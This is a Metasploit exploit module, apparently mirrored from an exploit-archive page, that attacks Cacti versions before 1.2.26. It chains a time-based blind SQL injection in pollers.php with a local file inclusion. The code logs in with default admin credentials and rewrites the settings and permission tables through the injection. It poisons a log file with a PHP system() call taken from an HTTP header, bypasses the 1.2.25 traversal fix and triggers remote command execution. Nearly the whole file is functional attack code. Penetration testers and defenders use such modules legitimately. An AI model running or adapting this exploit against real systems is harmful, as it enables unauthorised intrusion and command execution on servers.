Share
## https://sploitus.com/exploit?id=PACKETSTORM:176995
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::SQLi  
include Msf::Exploit::FileDropper  
prepend Msf::Exploit::Remote::AutoCheck  
  
class CactiError < StandardError; end  
class CactiNotFoundError < CactiError; end  
class CactiVersionNotFoundError < CactiError; end  
class CactiNoAccessError < CactiError; end  
class CactiCsrfNotFoundError < CactiError; end  
class CactiLoginError < CactiError; end  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Cacti RCE via SQLi in pollers.php',  
'Description' => %q{  
This exploit module leverages a SQLi (CVE-2023-49085) and a LFI  
(CVE-2023-49084) vulnerability in Cacti versions prior to 1.2.26 to  
achieve RCE. Authentication is needed and the account must have access  
to the vulnerable PHP script (`pollers.php`). This is granted by  
setting the `Sites/Devices/Data` permission in the `General  
Administration` section.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Aleksey Solovev', # Initial research and discovery  
'Christophe De La Fuente' # Metasploit module  
],  
'References' => [  
[ 'URL', 'https://github.com/Cacti/cacti/security/advisories/GHSA-vr3c-38wh-g855'], # SQLi  
[ 'URL', 'https://github.com/Cacti/cacti/security/advisories/GHSA-pfh9-gwm6-86vp'], # LFI (RCE)  
[ 'CVE', '2023-49085'], # SQLi  
[ 'CVE', '2023-49084'] # LFI (RCE)  
],  
'Platform' => ['unix linux win'],  
'Privileged' => false,  
'Arch' => ARCH_CMD,  
'Targets' => [  
[  
'Linux Command',  
{  
'Arch' => ARCH_CMD,  
'Platform' => [ 'unix', 'linux' ]  
}  
],  
[  
'Windows Command',  
{  
'Arch' => ARCH_CMD,  
'Platform' => 'win'  
}  
]  
],  
'DefaultOptions' => {  
'SqliDelay' => 3  
},  
'DisclosureDate' => '2023-12-20',  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]  
}  
)  
)  
  
register_options(  
[  
OptString.new('USERNAME', [ true, 'User to login with', 'admin']),  
OptString.new('PASSWORD', [ true, 'Password to login with', 'admin']),  
OptString.new('TARGETURI', [ true, 'The base URI of Cacti', '/cacti'])  
]  
)  
end  
  
def sqli  
@sqli ||= create_sqli(dbms: SQLi::MySQLi::TimeBasedBlind) do |sqli_payload|  
sqli_final_payload = '"'  
sqli_final_payload << ';select ' unless sqli_payload.start_with?(';') || sqli_payload.start_with?(' and')  
sqli_final_payload << "#{sqli_payload};select * from poller where 1=1 and '%'=\""  
send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'pollers.php'),  
'method' => 'POST',  
'keep_cookies' => true,  
'vars_post' => {  
'__csrf_magic' => @csrf_token,  
'name' => 'Main Poller',  
'hostname' => 'localhost',  
'timezone' => '',  
'notes' => '',  
'processes' => '1',  
'threads' => '1',  
'id' => '2',  
'save_component_poller' => '1',  
'action' => 'save',  
'dbhost' => sqli_final_payload  
},  
'vars_get' => {  
'header' => 'false'  
}  
)  
end  
end  
  
def get_version(html)  
# This will return an empty string if there is no match  
version_str = html.xpath('//div[@class="versionInfo"]').text  
unless version_str.include?('The Cacti Group')  
raise CactiNotFoundError, 'The web server is not running Cacti'  
end  
unless version_str.match(/Version (?<version>\d{1,2}\.\d{1,2}.\d{1,2})/)  
raise CactiVersionNotFoundError, 'Could not detect the version'  
end  
  
Regexp.last_match[:version]  
end  
  
def get_csrf_token(html)  
html.xpath('//form/input[@name="__csrf_magic"]/@value').text  
end  
  
def do_login  
if @csrf_token.blank? || @cacti_version.blank?  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'index.php'),  
'method' => 'GET',  
'keep_cookies' => true  
)  
if res.nil?  
raise CactiNoAccessError, 'Could not access `index.php` - no response'  
end  
  
html = res.get_html_document  
if @csrf_token.blank?  
print_status('Getting the CSRF token to login')  
@csrf_token = get_csrf_token(html)  
if @csrf_token.empty?  
# raise an error since without the CSRF token, we cannot login  
raise CactiCsrfNotFoundError, 'Cannot get the CSRF token'  
else  
vprint_good("CSRF token: #{@csrf_token}")  
end  
end  
  
if @cacti_version.blank?  
print_status('Getting the version')  
begin  
@cacti_version = get_version(html)  
vprint_good("Version: #{@cacti_version}")  
rescue CactiError => e  
# We can still log in without the version  
print_bad("Could not get the version, the exploit might fail: #{e}")  
end  
end  
end  
  
print_status("Attempting login with user `#{datastore['USERNAME']}` and password `#{datastore['PASSWORD']}`")  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'index.php'),  
'method' => 'POST',  
'keep_cookies' => true,  
'vars_post' => {  
'__csrf_magic' => @csrf_token,  
'action' => 'login',  
'login_username' => datastore['USERNAME'],  
'login_password' => datastore['PASSWORD']  
}  
)  
raise CactiNoAccessError, 'Could not login - no response' if res.nil?  
raise CactiLoginError, "Login failure - unexpected HTTP response code: #{res.code}" unless res.code == 302  
  
print_good('Logged in')  
end  
  
def check  
# Step 1 - Check if the target is Cacti and get the version  
print_status('Checking Cacti version')  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'index.php'),  
'method' => 'GET',  
'keep_cookies' => true  
)  
return CheckCode::Unknown('Could not connect to the web server - no response') if res.nil?  
  
html = res.get_html_document  
begin  
@cacti_version = get_version(html)  
version_msg = "The web server is running Cacti version #{@cacti_version}"  
rescue CactiNotFoundError => e  
return CheckCode::Safe(e.message)  
rescue CactiVersionNotFoundError => e  
return CheckCode::Unknown(e.message)  
end  
  
if Rex::Version.new(@cacti_version) < Rex::Version.new('1.2.26')  
print_good(version_msg)  
else  
return CheckCode::Safe(version_msg)  
end  
  
# Step 2 - Login  
@csrf_token = get_csrf_token(html)  
return CheckCode::Unknown('Could not get the CSRF token from `index.php`') if @csrf_token.empty?  
  
begin  
do_login  
rescue CactiError => e  
return CheckCode::Unknown("Login failed: #{e}")  
end  
  
@logged_in = true  
  
# Step 3 - Check if the user has enough permissions to reach `pollers.php`  
print_status('Checking permissions to access `pollers.php`')  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'pollers.php'),  
'method' => 'GET',  
'keep_cookies' => true,  
'headers' => {  
'X-Requested-With' => 'XMLHttpRequest'  
}  
)  
return CheckCode::Unknown('Could not access `pollers.php` - no response') if res.nil?  
return CheckCode::Safe('Could not access `pollers.php` - insufficient permissions') if res.code == 401  
return CheckCode::Unknown("Could not access `pollers.php` - unexpected HTTP response code: #{res.code}") unless res.code == 200  
  
# Step 4 - Check if it is vulnerable to SQLi  
print_status('Attempting SQLi to check if the target is vulnerable')  
return CheckCode::Safe('Blind SQL injection test failed') unless sqli.test_vulnerable  
  
CheckCode::Vulnerable  
end  
  
def get_ext_link_id  
# Get an unused External Link ID with a time-based SQLi  
@ext_link_id = rand(1000..9999)  
loop do  
_res, elapsed_time = Rex::Stopwatch.elapsed_time do  
sqli.raw_run_sql("if(id,sleep(#{datastore['SqliDelay']}),null) from external_links where id=#{@ext_link_id}")  
end  
break if elapsed_time < datastore['SqliDelay']  
  
@ext_link_id = rand(1000..9999)  
end  
vprint_good("Got external link ID #{@ext_link_id}")  
end  
  
def exploit  
# `#do_login` will take care of populating `@csrf_token` and `@cacti_version`  
unless @logged_in  
begin  
do_login  
rescue CactiError => e  
fail_with(Failure::NoAccess, "Login failure: #{e}")  
end  
end  
  
@log_file_path = "log/cacti#{rand(1..999)}.log"  
print_status("Backing up the current log file path and adding a new path (#{@log_file_path}) to the `settings` table")  
@log_setting_name_bak = '_path_cactilog'  
sqli.raw_run_sql(";update settings set name='#{@log_setting_name_bak}' where name='path_cactilog'")  
@do_settings_cleanup = true  
sqli.raw_run_sql(";insert into settings (name,value) values ('path_cactilog','#{@log_file_path}')")  
register_file_for_cleanup(@log_file_path)  
  
print_status("Inserting the log file path `#{@log_file_path}` to the external links table")  
log_file_path_lfi = "../../#{@log_file_path}"  
# Some specific path tarversal needs to be prepended to bypass the v1.2.25 fix in `link.php` (line 79):  
# $file = $config['base_path'] . "/include/content/" . str_replace('../', '', $page['contentfile']);  
log_file_path_lfi = "....//....//#{@log_file_path}" if @cacti_version && Rex::Version.new(@cacti_version) == Rex::Version.new('1.2.25')  
get_ext_link_id  
sqli.raw_run_sql(";insert into external_links (id,sortorder,enabled,contentfile,title,style) values (#{@ext_link_id},2,'on','#{log_file_path_lfi}','Log-#{rand_text_numeric(3..5)}','CONSOLE')")  
@do_ext_link_cleanup = true  
  
print_status('Getting the user ID and setting permissions (it might take a few minutes)')  
user_id = sqli.run_sql("select id from user_auth where username='#{datastore['USERNAME']}'")  
fail_with(Failure::NotFound, 'User ID not found') unless user_id =~ (/\A\d+\Z/)  
sqli.raw_run_sql(";insert into user_auth_realm (realm_id,user_id) values (#{10000 + @ext_link_id},#{user_id})")  
@do_perms_cleanup = true  
  
print_status('Logging in again to apply new settings and permissions')  
# Keep a copy of the cookie_jar and the CSRF token to be used later by the cleanup routine and remove all cookies to login again.  
# This is required since this new session will block after triggering the payload and we won't be able to reuse it to cleanup.  
cookie_jar_bak = cookie_jar.clone  
cookie_jar.clear  
csrf_token_bak = @csrf_token  
# Setting `@csrf_token` to nil will force `#do_login` to get a fresh CSRF token  
@csrf_token = nil  
begin  
do_login  
rescue CactiError => e  
fail_with(Failure::NoAccess, "Login failure: #{e}")  
end  
  
print_status('Poisoning the log')  
header_name = rand_text_alpha(1).upcase  
sqli.raw_run_sql(" and updatexml(rand(),concat(CHAR(60),'?=system($_SERVER[\\'HTTP_#{header_name}\\']);?>',CHAR(126)),null)")  
  
print_status('Triggering the payload')  
# Expecting no response  
send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'link.php'),  
'method' => 'GET',  
'keep_cookies' => true,  
'headers' => {  
header_name => payload.encoded  
},  
'vars_get' => {  
'id' => @ext_link_id,  
'headercontent' => 'true'  
}  
}, 0)  
  
# Restore the cookie_jar and the CSRF token to run cleanup without being blocked  
cookie_jar.clear  
self.cookie_jar = cookie_jar_bak  
@csrf_token = csrf_token_bak  
end  
  
def cleanup  
super  
  
if @do_ext_link_cleanup  
print_status('Cleaning up external link using SQLi')  
sqli.raw_run_sql(";delete from external_links where id=#{@ext_link_id}")  
end  
  
if @do_perms_cleanup  
print_status('Cleaning up permissions using SQLi')  
sqli.raw_run_sql(";delete from user_auth_realm where realm_id=#{10000 + @ext_link_id}")  
end  
  
if @do_settings_cleanup  
print_status('Cleaning up the log path in `settings` table using SQLi')  
sqli.raw_run_sql(";delete from settings where name='path_cactilog' and value='#{@log_file_path}'")  
sqli.raw_run_sql(";update settings set name='path_cactilog' where name='#{@log_setting_name_bak}'")  
end  
end  
end